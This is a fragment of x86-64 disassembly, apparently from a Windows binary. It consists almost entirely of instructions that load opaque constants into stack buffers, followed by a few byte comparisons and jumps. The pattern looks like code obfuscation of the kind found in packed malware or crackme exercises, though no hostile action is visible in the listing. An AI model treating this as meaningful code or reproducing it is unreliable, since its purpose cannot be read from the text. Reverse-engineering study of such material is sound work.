movabs rax, 0x610af46ab801ce6e
mov qword [rsp + 0x8750], rax
movabs rax, 0x39fe5bde775d0358
mov qword [rsp + 0x8758], rax
mov eax, 0x5da4
mov word [rsp + 0x12e8], ax
mov eax, 0x592
mov word [rsp + 0x12ec], ax
movabs rax, 0x4f87bd3a36e53ad9
mov qword [rsp + 0x8760], rax
mov byte [rsp + 0x15a], 0x5f
mov eax, 0x7fe4
mov word [rsp + 0x12f0], ax
movabs rax, 0xd2bbdd1289fe06cf
mov qword [rsp + 0x8768], rax
movabs rax, 0x6f3c7a20eb6eb4ea
mov qword [rsp + 0x8770], rax
mov byte [rsp + 0x15b], 0xda
mov eax, 0x51d
mov word [rsp + 0x12f4], ax
mov byte [rsp + 0x15c], 0x2e
mov dword [rsp + 0x4aec], 0x38141301
movabs rax, 0x4d1ce0fff49bc152
mov qword [rsp + 0x8778], rax
movabs rax, 0xa232c708649d5e
mov qword [rsp + 0x8780], rax
mov dword [rsp + 0x4af0], 0xcaea4e7f
mov byte [rsp + 0x15d], 0x2b
mov dword [rsp + 0x4af4], 0x54d6ebd3
mov eax, 0xf07
mov word [rsp + 0x12f8], ax
mov dword [rsp + 0x4af8], 0x1c3d0ed3
movabs rax, 0xa89a5d022ef60c01
mov qword [rsp + 0x8788], rax
mov dword [rsp + 0x4afc], 0x20363a28
movabs rax, 0x4659d044bbb8581
mov qword [rsp + 0x8790], rax
mov dword [rsp + 0x4b00], 0x25276ae0
mov dword [rsp + 0x4b04], 0x23b22ac7
mov dword [rsp + 0x4b08], 0x792aa323
mov dword [rsp + 0x4b0c], 0x5778cbe3
mov byte [rsp + 0x15e], 0x33
mov dword [rsp + 0x4b10], 0x4d9791b2
mov dword [rsp + 0x4b14], 0x4c9a9b11
mov dword [rsp + 0x4b18], 0x17532f36
mov eax, 0x1de4
mov word [rsp + 0x12fc], ax
movabs rax, 0xf7c75aa6849d3fdc
mov qword [rsp + 0x8798], rax
mov dword [rsp + 0x4b1c], 0xdc8b4966
mov byte [rsp + 0x15f], 0x18
mov byte [rsp + 0x160], 0x1c
mov byte [rsp + 0x161], 0x3e
movabs rax, 0x112eef6e5833b751
mov qword [rsp + 0x87a0], rax
mov byte [rsp + 0x162], 0x61
mov eax, 0x2d5f
mov word [rsp + 0x1300], ax
mov eax, 0x6db1
mov word [rsp + 0x1304], ax
movabs rax, 0x59a7f203526ed470
mov qword [rsp + 0x87a8], rax
mov dword [rsp + 0x4b20], 0x8f5c167b
movabs rax, 0x2ce8b33b953c0766
mov qword [rsp + 0x87b0], rax
movabs rax, 0x82d1a2e92270dd8
mov qword [rsp + 0x87b8], rax
mov eax, 0x20bc
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x4b24], 0x56ec5b8a
mov eax, 0x4657
mov word [rsp + 0x130c], ax
mov eax, 0xa82
mov word [rsp + 0x1310], ax
mov eax, 0xb50
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x4b28], 0x66a54403
mov dword [rsp + 0x4b2c], 0x17f39756
mov eax, 0x5bcd
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x163], 0x21
mov dword [rsp + 0x4b30], 0x11f1cde6
mov eax, 0x64d
mov word [rsp + 0x131c], ax
movabs rax, 0x429a77a3eb8877e7
mov qword [rsp + 0x87c0], rax
mov eax, 0x7f8
mov word [rsp + 0x1320], ax
mov byte [rsp + 0x164], 0x37
mov eax, 0xddf
mov word [rsp + 0x1324], ax
mov eax, 0x3cc
mov word [rsp + 0x1328], ax
movabs rax, 0x14c789fcb23a790e
mov qword [rsp + 0x87c8], rax
mov byte [rsp + 0x165], 0x71
mov byte [rsp + 0x166], 7
mov eax, 0xf0
mov word [rsp + 0x132c], ax
movabs rax, 0x3960e41c29c4317b
mov qword [rsp + 0x87d0], rax
mov dword [rsp + 0x4b34], 0x34030ba1
movabs rax, 0x70374f8f9de01b51
mov qword [rsp + 0x87d8], rax
mov byte [rsp + 0x167], 0x6f
mov eax, 0x68b7
mov word [rsp + 0x1330], ax
movabs rax, 0x3d55c1c7622ae37
mov qword [rsp + 0x87e0], rax
movabs rax, 0x3f66b5a169f0021c
mov qword [rsp + 0x87e8], rax
movabs rax, 0x911638db0fe5c8e4
mov qword [rsp + 0x87f0], rax
mov eax, 0x69b5
mov word [rsp + 0x1334], ax
mov dword [rsp + 0x4b38], 0xcf62b6b0
movabs rax, 0x5c1d344ee95c8848
mov qword [rsp + 0x87f8], rax
mov eax, 0x221
mov word [rsp + 0x1338], ax
mov eax, 0x3c54
mov word [rsp + 0x133c], ax
mov byte [rsp + 0x168], 0x4d
mov byte [rsp + 0x169], 9
mov byte [rsp + 0x16a], 0x5a
mov byte [rsp + 0x16b], 0xa
mov eax, 0x22
mov word [rsp + 0x1340], ax
mov eax, 0x665
mov word [rsp + 0x1344], ax
movabs rax, 0x23029cf82805e3aa
mov qword [rsp + 0x8800], rax
mov byte [rsp + 0x16c], 0xf4
mov byte [rsp + 0x16d], 8
mov eax, 0xad5
mov word [rsp + 0x1348], ax
movabs rax, 0xb9c0092393bac2fc
mov qword [rsp + 0x8808], rax
mov eax, 0x7f5e
mov word [rsp + 0x134c], ax
movabs rax, 0xd955d0ee706d76c3
mov qword [rsp + 0x8810], rax
mov eax, 0xd42
mov word [rsp + 0x1350], ax
mov byte [rsp + 0x16e], 0x18
mov byte [rsp + 0x16f], 0x25
mov byte [rsp + 0x170], 0x46
mov dword [rsp + 0x4b3c], 0xfb050c0f
mov dword [rsp + 0x4b40], 0x850d116c
movabs rax, 0xb9f319854b8a07be
mov qword [rsp + 0x8818], rax
mov dword [rsp + 0x4b44], 0x47d4c6
movabs rax, 0x2b33a52ca0c32e38
mov qword [rsp + 0x8820], rax
movabs rax, 0x96e07ba684a3f4ba
mov qword [rsp + 0x8828], rax
movabs rax, 0x2d5baa538cfa39b7
mov qword [rsp + 0x8830], rax
mov eax, 0x2d38
mov word [rsp + 0x1354], ax
movabs rax, 0xf025ae13e30eacfd
mov qword [rsp + 0x8838], rax
mov dword [rsp + 0x4b48], 0xa179036
movabs rax, 0x3c4d4b74dbab51c6
mov qword [rsp + 0x8840], rax
mov byte [rsp + 0x171], 0x9b
mov dword [rsp + 0x4b4c], 0x6916771e
mov dword [rsp + 0x4b50], 0x2bca6411
movabs rax, 0x2410326917af0fb9
mov qword [rsp + 0x8848], rax
movabs rax, 0x5fcd2166f3170c7c
mov qword [rsp + 0x8850], rax
mov byte [rsp + 0x172], 0x7c
mov byte [rsp + 0x173], 0x38
mov byte [rsp + 0x174], 0x3b
mov byte [rsp + 0x175], 0x12
mov eax, 0x975
mov word [rsp + 0x1358], ax
movabs rax, 0x97bcf1c78faf1103
mov qword [rsp + 0x8858], rax
mov dword [rsp + 0x4b54], 0x49759f8f
mov eax, 0x1eb1
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x4b58], 0x26285baa
mov byte [rsp + 0x176], 0x12
mov byte [rsp + 0x177], 0x6e
mov dword [rsp + 0x4b5c], 0x37004b46
mov dword [rsp + 0x4b60], 0xa3c626b4
mov byte [rsp + 0x178], 0xfc
mov byte [rsp + 0x179], 0x7a
mov eax, 0xe18
mov word [rsp + 0x1360], ax
movabs rax, 0x4ec01c058a33718d
mov qword [rsp + 0x8860], rax
mov dword [rsp + 0x4b64], 0x73d99d62
movabs rax, 0xb7b2a38b97423cd2
mov qword [rsp + 0x8868], rax
mov eax, 0x270
mov word [rsp + 0x1364], ax
mov eax, 0xb64
mov word [rsp + 0x1368], ax
mov eax, 0x6c7
mov word [rsp + 0x136c], ax
mov byte [rsp + 0x17a], 0x58
movabs rax, 0x2e7e926c0933b261
mov qword [rsp + 0x8870], rax
mov dword [rsp + 0x4b68], 0x3bbbd28e
movabs rax, 0x7061cb4ffa783e8a
mov qword [rsp + 0x8878], rax
movabs rax, 0x6caa1018dbaee044
mov qword [rsp + 0x8880], rax
movabs rax, 0x6c5c6294f7a1202d
mov qword [rsp + 0x8888], rax
mov dword [rsp + 0x4b6c], 0xb320da91
mov byte [rsp + 0x17b], 0x41
mov byte [rsp + 0x17c], 0x7e
mov byte [rsp + 0x17d], 6
movabs rax, 0x76f930a6480aefe8
mov qword [rsp + 0x8890], rax
mov byte [rsp + 0x17e], 0x19
mov eax, 0xbf8
mov word [rsp + 0x1370], ax
movabs rax, 0xb99a57f273f4e862
mov qword [rsp + 0x8898], rax
mov byte [rsp + 0x17f], 0x6b
mov byte [rsp + 0x180], 0x89
mov dword [rsp + 0x4b70], 0x7b47c0c
movabs rax, 0x1cce22a7414383be
mov qword [rsp + 0x88a0], rax
mov byte [rsp + 0x181], 0xc7
movabs rax, 0xc34dccbf971478a2
mov qword [rsp + 0x88a8], rax
mov dword [rsp + 0x4b74], 0xd3e44bc9
mov eax, 0x60c0
mov word [rsp + 0x1374], ax
mov byte [rsp + 0x182], 0x20
mov eax, 0x1816
mov word [rsp + 0x1378], ax
movabs rax, 0x400d77d756f3212b
mov qword [rsp + 0x88b0], rax
mov dword [rsp + 0x4b78], 0xea17759a
mov byte [rsp + 0x183], 0xf
mov dword [rsp + 0x4b7c], 0x7d8ebc9b
mov dword [rsp + 0x4b80], 0x78a7f7a2
mov eax, 0x5354
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x4b84], 0xb764bd4
movabs rax, 0xafa7dd0baae2e39
mov qword [rsp + 0x88b8], rax
movabs rax, 0x78c937d5e901a17e
mov qword [rsp + 0x88c0], rax
movabs rax, 0xcc810d736ad82e7f
mov qword [rsp + 0x88c8], rax
mov dword [rsp + 0x4b88], 0xf52748ca
mov dword [rsp + 0x4b8c], 0x17d08e2
mov byte [rsp + 0x184], 0x24
mov byte [rsp + 0x185], 0x3e
mov byte [rsp + 0x186], 0x5c
mov eax, 0x470
mov word [rsp + 0x1380], ax
movabs rax, 0x435114b910abdee3
mov qword [rsp + 0x88d0], rax
mov dword [rsp + 0x4b90], 0x3bbe57d5
mov byte [rsp + 0x187], 0
movabs rax, 0x8e24ca9e27020ef
mov qword [rsp + 0x88d8], rax
movabs rax, 0xfebfb6c4c179e2
mov qword [rsp + 0x88e0], rax
movabs rax, 0x2bb75edfb755415c
mov qword [rsp + 0x88e8], rax
movabs rax, 0x53371e497197e8d6
mov qword [rsp + 0x88f0], rax
mov byte [rsp + 0x188], 0xa4
mov eax, 0x812
mov word [rsp + 0x1384], ax
mov eax, 0xe8
mov word [rsp + 0x1388], ax
movabs rax, 0x4cf5ebcad6df4c2e
mov qword [rsp + 0x88f8], rax
mov dword [rsp + 0x4b94], 0x25369e9b
mov byte [rsp + 0x189], 5
mov eax, 0xca1
mov word [rsp + 0x138c], ax
movabs rax, 0x5300b3becb67be37
mov qword [rsp + 0x8900], rax
mov byte [rsp + 0x18a], 0xa7
mov eax, 0x28a3
mov word [rsp + 0x1390], ax
mov eax, 0x177a
mov word [rsp + 0x1394], ax
movabs rax, 0x67246ed2146b9908
mov qword [rsp + 0x8908], rax
mov byte [rsp + 0x18b], 0x27
mov byte [rsp + 0x18c], 0xc2
movabs rax, 0x18f00869583c4464
mov qword [rsp + 0x8910], rax
mov dword [rsp + 0x4b98], 0xd83d70ab
mov eax, 0x12f
mov word [rsp + 0x1398], ax
movabs rax, 0x2c37c69f40286043
mov qword [rsp + 0x8918], rax
movabs rax, 0x9a44f923a7ff5895
mov qword [rsp + 0x8920], rax
movabs rax, 0xd26fb0b68cc8c203
mov qword [rsp + 0x8928], rax
mov eax, 0x1c9
mov word [rsp + 0x139c], ax
mov dword [rsp + 0x4b9c], 0x81ebb579
mov byte [rsp + 0x18d], 0xc
mov dword [rsp + 0x4ba0], 0x6d46843c
mov byte [rsp + 0x18e], 0x9f
mov byte [rsp + 0x18f], 0x5b
movabs rax, 0xf096b1759b1aac10
mov qword [rsp + 0x8930], rax
movabs rax, 0xb41e6a50b3a465f
mov qword [rsp + 0x8938], rax
mov dword [rsp + 0x4ba4], 0x3abc32a9
mov dword [rsp + 0x4ba8], 0xb1857b9c
movabs rax, 0x699470e0f414eb05
mov qword [rsp + 0x8940], rax
mov eax, 0x793
mov word [rsp + 0x13a0], ax
movabs rax, 0xe7d73ca2503570c
mov qword [rsp + 0x8948], rax
mov dword [rsp + 0x4bac], 0xb32b29ec
movabs rax, 0x3aea073c864fafd4
mov qword [rsp + 0x8950], rax
mov eax, 0x4cbc
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x4bb0], 0xad8c74d8
mov dword [rsp + 0x4bb4], 0x3a1022c7
mov byte [rsp + 0x190], 0x71
mov byte [rsp + 0x191], 0x42
mov eax, 0x13b9
mov word [rsp + 0x13a8], ax
mov eax, 0x9d5
mov word [rsp + 0x13ac], ax
mov eax, 0x44d
mov word [rsp + 0x13b0], ax
mov byte [rsp + 0x192], 0x3e
mov dword [rsp + 0x4bb8], 0x4216072
mov dword [rsp + 0x4bbc], 0xdb70e4b2
mov dword [rsp + 0x4bc0], 0x3117f36f
mov byte [rsp + 0x193], 0x19
movabs rax, 0x21017389345335a6
mov qword [rsp + 0x8958], rax
mov eax, 0xdd1
mov word [rsp + 0x13b4], ax
movabs rax, 0x26be1eebb3bf3b3
mov qword [rsp + 0x8960], rax
movabs rax, 0xc8c6b213230a5a19
mov qword [rsp + 0x8968], rax
mov eax, 0x349
mov word [rsp + 0x13b8], ax
mov byte [rsp + 0x194], 0x64
movabs rax, 0x259bb828546208dc
mov qword [rsp + 0x8970], rax
mov eax, 0x3339
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x4bc4], 0x80abab9d
movabs rax, 0x7c814ef4576595f6
mov qword [rsp + 0x8978], rax
mov eax, 0x351
mov word [rsp + 0x13c0], ax
mov byte [rsp + 0x195], 0xe
movabs rax, 0x9075729c7726f8e
mov qword [rsp + 0x8980], rax
movabs rax, 0x47077c706ec559cc
mov qword [rsp + 0x8988], rax
mov eax, 0xc6
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x4bc8], 0x1a35af6e
mov dword [rsp + 0x4bcc], 0x9cf814c1
movabs rax, 0x26b9175910a0293c
mov qword [rsp + 0x8990], rax
mov byte [rsp + 0x196], 0xd1
mov eax, 0x489
mov word [rsp + 0x13c8], ax
mov byte [rsp + 0x197], 0x23
mov byte [rsp + 0x198], 0x46
mov byte [rsp + 0x199], 0xf0
mov byte [rsp + 0x19a], 4
mov dword [rsp + 0x4bd0], 0x2d54f95a
movabs rax, 0x947a1f21ec24caa7
mov qword [rsp + 0x8998], rax
mov dword [rsp + 0x4bd4], 0xd266e783
mov eax, 0x4e10
mov word [rsp + 0x13cc], ax
movabs rax, 0x1ad37daff36b20c9
mov qword [rsp + 0x89a0], rax
mov dword [rsp + 0x4bd8], 0xd8edbe02
mov dword [rsp + 0x4bdc], 0xd18e9ade
movabs rax, 0x367255d835e460ac
mov qword [rsp + 0x89a8], rax
movabs rax, 0xfcf32ce9777c78fe
mov qword [rsp + 0x89b0], rax
mov eax, 0x93
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x19b], 0x25
movabs rax, 0x9a34a1f20c6a55f0
mov qword [rsp + 0x89b8], rax
movabs rax, 0x40ebc1d4e8b0842d
mov qword [rsp + 0x89c0], rax
mov dword [rsp + 0x4be0], 0x33cbd425
mov dword [rsp + 0x4be4], 0x746da846
mov byte [rsp + 0x19c], 0x41
movabs rax, 0x5b89954979e03ca0
mov qword [rsp + 0x89c8], rax
movabs rax, 0x6d62e88e408bb560
mov qword [rsp + 0x89d0], rax
mov byte [rsp + 0x19d], 0x54
mov byte [rsp + 0x19e], 0x26
movabs rax, 0x20e38ee840826c09
mov qword [rsp + 0x89d8], rax
mov dword [rsp + 0x4be8], 0xa9cd63a1
mov dword [rsp + 0x4bec], 0xc06e4a97
mov dword [rsp + 0x4bf0], 0x625e55e5
movabs rax, 0xb1fe2e0f529bcd7
mov qword [rsp + 0x89e0], rax
mov eax, 0x510
mov word [rsp + 0x13d4], ax
movabs rax, 0xc5e3403fbf3151e5
mov qword [rsp + 0x89e8], rax
mov byte [rsp + 0x19f], 0xa5
mov byte [rsp + 0x1a0], 0xdc
mov eax, 0x821
mov word [rsp + 0x13d8], ax
mov byte [rsp + 0x1a1], 0x28
mov dword [rsp + 0x4bf4], 0xf6c4290
mov byte [rsp + 0x1a2], 0x74
mov byte [rsp + 0x1a3], 0x1c
mov dword [rsp + 0x4bf8], 0x3ea4e2ab
movabs rax, 0x69d1cda918462763
mov qword [rsp + 0x89f0], rax
mov dword [rsp + 0x4bfc], 0xda8c52b9
mov eax, 0x8df
mov word [rsp + 0x13dc], ax
movabs rax, 0x6fc33e0a5e4ed1c8
mov qword [rsp + 0x89f8], rax
movabs rax, 0x769668e3fbb1cba7
mov qword [rsp + 0x8a00], rax
mov eax, 0x757
mov word [rsp + 0x13e0], ax
mov dword [rsp + 0x4c00], 0x4188a176
mov byte [rsp + 0x1a4], 0x72
mov byte [rsp + 0x1a5], 0x50
mov dword [rsp + 0x4c04], 0x7f36c978
mov byte [rsp + 0x1a6], 0x4b
mov eax, 0x3654
mov word [rsp + 0x13e4], ax
mov dword [rsp + 0x4c08], 0x47e3c0db
mov byte [rsp + 0x1a7], 0xf2
movabs rax, 0x11f7f228c40d3b6f
mov qword [rsp + 0x8a08], rax
mov dword [rsp + 0x4c0c], 0xe47e5eea
mov eax, 0x10b5
mov word [rsp + 0x13e8], ax
mov byte [rsp + 0x1a8], 0x16
mov byte [rsp + 0x1a9], 0xe8
mov dword [rsp + 0x4c10], 0xbfb54c26
mov dword [rsp + 0x4c14], 0x15739e04
mov byte [rsp + 0x1aa], 0xa
mov eax, 0x1b8
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x4c18], 0x6e584426
mov byte [rsp + 0x1ab], 0x32
movabs rax, 0x810ab0f00328195b
mov qword [rsp + 0x8a10], rax
movabs rax, 0x626c52435605cbb5
mov qword [rsp + 0x8a18], rax
mov dword [rsp + 0x4c1c], 0x1149f34a
mov dword [rsp + 0x4c20], 0x71796f65
movabs rax, 0x24f2e79a7f2196a4
mov qword [rsp + 0x8a20], rax
mov eax, 0x9b9
mov word [rsp + 0x13f0], ax
movabs rax, 0x52ec80a99739cb0b
mov qword [rsp + 0x8a28], rax
mov byte [rsp + 0x1ac], 0x4f
mov eax, 0x54c
mov word [rsp + 0x13f4], ax
mov eax, 0x3a6a
mov word [rsp + 0x13f8], ax
movabs rax, 0x3fc8cdecbe53ec86
mov qword [rsp + 0x8a30], rax
mov eax, 0x788
mov word [rsp + 0x13fc], ax
mov eax, 0x573
mov word [rsp + 0x1400], ax
mov dword [rsp + 0x4c24], 0xbb55a979
mov byte [rsp + 0x1ad], 0xfe
mov dword [rsp + 0x4c28], 0x7e0fe119
mov byte [rsp + 0x1ae], 0
movabs rax, 0x8066c3fa0fbbd806
mov qword [rsp + 0x8a38], rax
mov dword [rsp + 0x4c2c], 0x911c6d2a
mov eax, 0xf16
mov word [rsp + 0x1404], ax
mov eax, 0x562a
mov word [rsp + 0x1408], ax
mov eax, 0x802
mov word [rsp + 0x140c], ax
mov eax, 0x54b
mov word [rsp + 0x1410], ax
mov dword [rsp + 0x4c30], 0xb11a3daf
mov byte [rsp + 0x1af], 0xba
mov dword [rsp + 0x4c34], 0x3ac6e2d2
mov byte [rsp + 0x1b0], 0xe0
mov eax, 0x6dd
mov word [rsp + 0x1414], ax
movabs rax, 0x5d9eedc4a6eebf52
mov qword [rsp + 0x8a40], rax
mov dword [rsp + 0x4c38], 0xb1d0673
mov dword [rsp + 0x4c3c], 0xe8df87c0
mov dword [rsp + 0x4c40], 0x4e38111d
mov byte [rsp + 0x1b1], 0x6b
movabs rax, 0xbd0bd3eb5e583b7a
mov qword [rsp + 0x8a48], rax
movabs rax, 0x3965d0b593e0fa78
mov qword [rsp + 0x8a50], rax
mov byte [rsp + 0x1b2], 0xa8
mov byte [rsp + 0x1b3], 0x5c
mov byte [rsp + 0x1b4], 0x6f
mov dword [rsp + 0x4c44], 0x638c52c5
mov dword [rsp + 0x4c48], 0x472a345e
movabs rax, 0x7e7567fbe4088e3f
mov qword [rsp + 0x8a58], rax
mov dword [rsp + 0x4c4c], 0x523ea9d9
mov eax, 0x67ee
mov word [rsp + 0x1418], ax
mov eax, 0xc78
mov word [rsp + 0x141c], ax
movabs rax, 0x32ceaca05fac330e
mov qword [rsp + 0x8a60], rax
mov dword [rsp + 0x4c50], 0x65633d29
mov dword [rsp + 0x4c54], 0x98f7e97d
movabs rax, 0x2b18e6a84ef49450
mov qword [rsp + 0x8a68], rax
mov eax, 0x68ef
mov word [rsp + 0x1420], ax
movabs rax, 0xd01a9b870778c681
mov qword [rsp + 0x8a70], rax
mov eax, 0x7f5a
mov word [rsp + 0x1424], ax
mov byte [rsp + 0x1b5], 0x3a
movabs rax, 0xe44a102b86c6fca9
mov qword [rsp + 0x8a78], rax
mov byte [rsp + 0x1b6], 0x34
mov eax, 0xda3
mov word [rsp + 0x1428], ax
mov eax, 0x78f9
mov word [rsp + 0x142c], ax
mov byte [rsp + 0x1b7], 0x2a
mov byte [rsp + 0x1b8], 0x10
mov eax, 0x50d7
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x4c58], 0x80139639
mov dword [rsp + 0x4c5c], 0x574c690b
mov byte [rsp + 0x1b9], 9
mov eax, 0xb1c
mov word [rsp + 0x1434], ax
mov dword [rsp + 0x4c60], 0xffde4e21
mov eax, 0x3d4c
mov word [rsp + 0x1438], ax
mov byte [rsp + 0x1ba], 0x37
mov eax, 0x4ca7
mov word [rsp + 0x143c], ax
movabs rax, 0x4014f0fbfd2d563d
mov qword [rsp + 0x8a80], rax
movabs rax, 0x3cd9b21c19c0f098
mov qword [rsp + 0x8a88], rax
movabs rax, 0x3bb1439ba76169be
mov qword [rsp + 0x8a90], rax
mov dword [rsp + 0x4c64], 0x2289ccf9
movabs rax, 0x1015feda081c05a2
mov qword [rsp + 0x8a98], rax
mov byte [rsp + 0x1bb], 0xb3
mov eax, 0x48b3
mov word [rsp + 0x1440], ax
movabs rax, 0x59fc642c9f3eb70c
mov qword [rsp + 0x8aa0], rax
movabs rax, 0x3f2a784ab9dd53e6
mov qword [rsp + 0x8aa8], rax
mov dword [rsp + 0x4c68], 0x7f18b550
mov eax, 0x5f1
mov word [rsp + 0x1444], ax
mov byte [rsp + 0x1bc], 0x1d
mov dword [rsp + 0x4c6c], 0xa55938fe
mov dword [rsp + 0x4c70], 0x26af3f61
mov byte [rsp + 0x1bd], 0x33
mov dword [rsp + 0x4c74], 0x2d3c6cd5
mov dword [rsp + 0x4c78], 0x3979c50f
movabs rax, 0x70a9059f7c283329
mov qword [rsp + 0x8ab0], rax
mov dword [rsp + 0x4c7c], 0x2e8300ed
mov byte [rsp + 0x1be], 0x8e
mov byte [rsp + 0x1bf], 0x50
mov byte [rsp + 0x1c0], 0x7d
mov dword [rsp + 0x4c80], 0x72d062ee
mov eax, 0xe23
mov word [rsp + 0x1448], ax
mov eax, 0x1220
mov word [rsp + 0x144c], ax
movabs rax, 0x3212a7d431c44038
mov qword [rsp + 0x8ab8], rax
mov dword [rsp + 0x4c84], 0x21a817d0
mov eax, 0x58e3
mov word [rsp + 0x1450], ax
mov byte [rsp + 0x1c1], 0x64
mov eax, 0x948
mov word [rsp + 0x1454], ax
mov byte [rsp + 0x1c2], 0x40
movabs rax, 0xdfde948776124f9a
mov qword [rsp + 0x8ac0], rax
mov eax, 0x620
mov word [rsp + 0x1458], ax
mov eax, 0xcd2
mov word [rsp + 0x145c], ax
movabs rax, 0x41ce1730351ade70
mov qword [rsp + 0x8ac8], rax
movabs rax, 0x1dcf8120a392338
mov qword [rsp + 0x8ad0], rax
mov byte [rsp + 0x1c3], 0x32
mov byte [rsp + 0x1c4], 0xb6
mov byte [rsp + 0x1c5], 0x4b
mov byte [rsp + 0x1c6], 0x1d
mov dword [rsp + 0x4c88], 0x85649663
mov eax, 0x1ac
mov word [rsp + 0x1460], ax
mov byte [rsp + 0x1c7], 0x74
mov dword [rsp + 0x4c8c], 0x6b80b824
mov eax, 0xfb9
mov word [rsp + 0x1464], ax
mov byte [rsp + 0x1c8], 5
mov dword [rsp + 0x4c90], 0x57eccbb
mov byte [rsp + 0x1c9], 0x5c
mov eax, 0xa0f
mov word [rsp + 0x1468], ax
mov dword [rsp + 0x4c94], 0x74ce51ca
mov eax, 0xb40
mov word [rsp + 0x146c], ax
mov byte [rsp + 0x1ca], 0xe1
mov byte [rsp + 0x1cb], 0x37
mov dword [rsp + 0x4c98], 0x228a82e0
mov byte [rsp + 0x1cc], 0x99
mov dword [rsp + 0x4c9c], 0x4fc2f0e2
mov byte [rsp + 0x1cd], 0x24
movabs rax, 0x43b1f7641207bc14
mov qword [rsp + 0x8ad8], rax
mov eax, 0xdc
mov word [rsp + 0x1470], ax
mov eax, 0xa66
mov word [rsp + 0x1474], ax
movabs rax, 0x77ccf91d880d1fd9
mov qword [rsp + 0x8ae0], rax
mov dword [rsp + 0x4ca0], 0x154e306a
movabs rax, 0x1cb25a4136cfc996
mov qword [rsp + 0x8ae8], rax
mov byte [rsp + 0x1ce], 0xaa
movabs rax, 0xbc758d5b85f53ebb
mov qword [rsp + 0x8af0], rax
mov dword [rsp + 0x4ca4], 0xa53c687
mov byte [rsp + 0x1cf], 0x55
mov dword [rsp + 0x4ca8], 0x28893052
mov eax, 0xfe6
mov word [rsp + 0x1478], ax
mov byte [rsp + 0x1d0], 0xe
mov eax, 0xdf9
mov word [rsp + 0x147c], ax
movabs rax, 0xbaf5a268df7c40ba
mov qword [rsp + 0x8af8], rax
movabs rax, 0xa04d1edf4e944012
mov qword [rsp + 0x8b00], rax
mov byte [rsp + 0x1d1], 0x27
movabs rax, 0x2462c7f4c994480d
mov qword [rsp + 0x8b08], rax
mov dword [rsp + 0x4cac], 0x21c247af
mov eax, 0x2277
mov word [rsp + 0x1480], ax
movabs rax, 0x25cf7d577d1f3232
mov qword [rsp + 0x8b10], rax
mov eax, 0x3a
mov word [rsp + 0x1484], ax
mov byte [rsp + 0x1d2], 0x15
mov eax, 0xfc1
mov word [rsp + 0x1488], ax
movabs rax, 0xa60d56150e622ba4
mov qword [rsp + 0x8b18], rax
movabs rax, 0x3265eada1b58bdde
mov qword [rsp + 0x8b20], rax
mov eax, 0x1b0
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x1d3], 0x67
movabs rax, 0x78f306105950c248
mov qword [rsp + 0x8b28], rax
mov dword [rsp + 0x4cb0], 0x2b5a5711
mov byte [rsp + 0x1d4], 0x3c
movabs rax, 0xc292f08ed998dcf4
mov qword [rsp + 0x8b30], rax
mov dword [rsp + 0x4cb4], 0x4ae02146
mov dword [rsp + 0x4cb8], 0xef5f99e
movabs rax, 0x8194282a9c3b30b
mov qword [rsp + 0x8b38], rax
mov eax, 0x3e3f
mov word [rsp + 0x1490], ax
mov byte [rsp + 0x1d5], 0x98
mov eax, 0x6034
mov word [rsp + 0x1494], ax
movabs rax, 0x773472d09b688872
mov qword [rsp + 0x8b40], rax
mov dword [rsp + 0x4cbc], 0xdfe281bb
mov dword [rsp + 0x4cc0], 0x3feb1a9
mov dword [rsp + 0x4cc4], 0x16788f94
movabs rax, 0x3761d6764ce004cd
mov qword [rsp + 0x8b48], rax
mov eax, 0x1e1e
mov word [rsp + 0x1498], ax
mov eax, 0x6730
mov word [rsp + 0x149c], ax
mov eax, 0x7f8c
mov word [rsp + 0x14a0], ax
movabs rax, 0xccb055c91fe545d2
mov qword [rsp + 0x8b50], rax
mov byte [rsp + 0x1d6], 0x36
mov eax, 0xaab
mov word [rsp + 0x14a4], ax
mov eax, 0x3c8
mov word [rsp + 0x14a8], ax
mov eax, 0x3467
mov word [rsp + 0x14ac], ax
movabs rax, 0xea620ee12245de83
mov qword [rsp + 0x8b58], rax
movabs rax, 0x3e997dc74a8ded84
mov qword [rsp + 0x8b60], rax
mov byte [rsp + 0x1d7], 0x8c
mov eax, 0x1a8d
mov word [rsp + 0x14b0], ax
movabs rax, 0x13ce5736093e1718
mov qword [rsp + 0x8b68], rax
movabs rax, 0xa380b37d50a42d23
mov qword [rsp + 0x8b70], rax
mov eax, 0x2202
mov word [rsp + 0x14b4], ax
mov byte [rsp + 0x1d8], 0x21
mov dword [rsp + 0x4cc8], 0x17e010a9
mov dword [rsp + 0x4ccc], 0x2b7b630e
mov dword [rsp + 0x4cd0], 0x1ccd920b
mov byte [rsp + 0x1d9], 0x51
movabs rax, 0x65db80abb297ce29
mov qword [rsp + 0x8b78], rax
mov dword [rsp + 0x4cd4], 0x3d9eb179
mov eax, 0x1e17
mov word [rsp + 0x14b8], ax
movabs rax, 0x4673de33e55d7799
mov qword [rsp + 0x8b80], rax
mov byte [rsp + 0x1da], 0x31
mov eax, 0x678c
mov word [rsp + 0x14bc], ax
movabs rax, 0x3a89062305da17bb
mov qword [rsp + 0x8b88], rax
mov eax, 0x78fa
mov word [rsp + 0x14c0], ax
movabs rax, 0x59eb064f788e96aa
mov qword [rsp + 0x8b90], rax
mov dword [rsp + 0x4cd8], 0x26578534
movabs rax, 0x4a15143aed060107
mov qword [rsp + 0x8b98], rax
mov dword [rsp + 0x4cdc], 0x2ad9f7fa
movabs rax, 0xa2a0bfd80b79b4a4
mov qword [rsp + 0x8ba0], rax
movabs rax, 0xd46bb389565165b2
mov qword [rsp + 0x8ba8], rax
mov dword [rsp + 0x4ce0], 0x3bfd16b3
mov byte [rsp + 0x1db], 0x2a
movzx eax, byte [rsp + 0x1db]
cmp eax, 0x9c
jl 0x140005d3f
movzx eax, byte [rsp + 0x1db]
sub eax, 0x31
cmp eax, 0x86
jne 0x140005d06
movzx eax, byte [rsp + 0x1db]
add eax, 0x73
mov byte [rsp + 0x1db], al
movzx eax, byte [rsp + 0x1db]
and eax, 0xc5
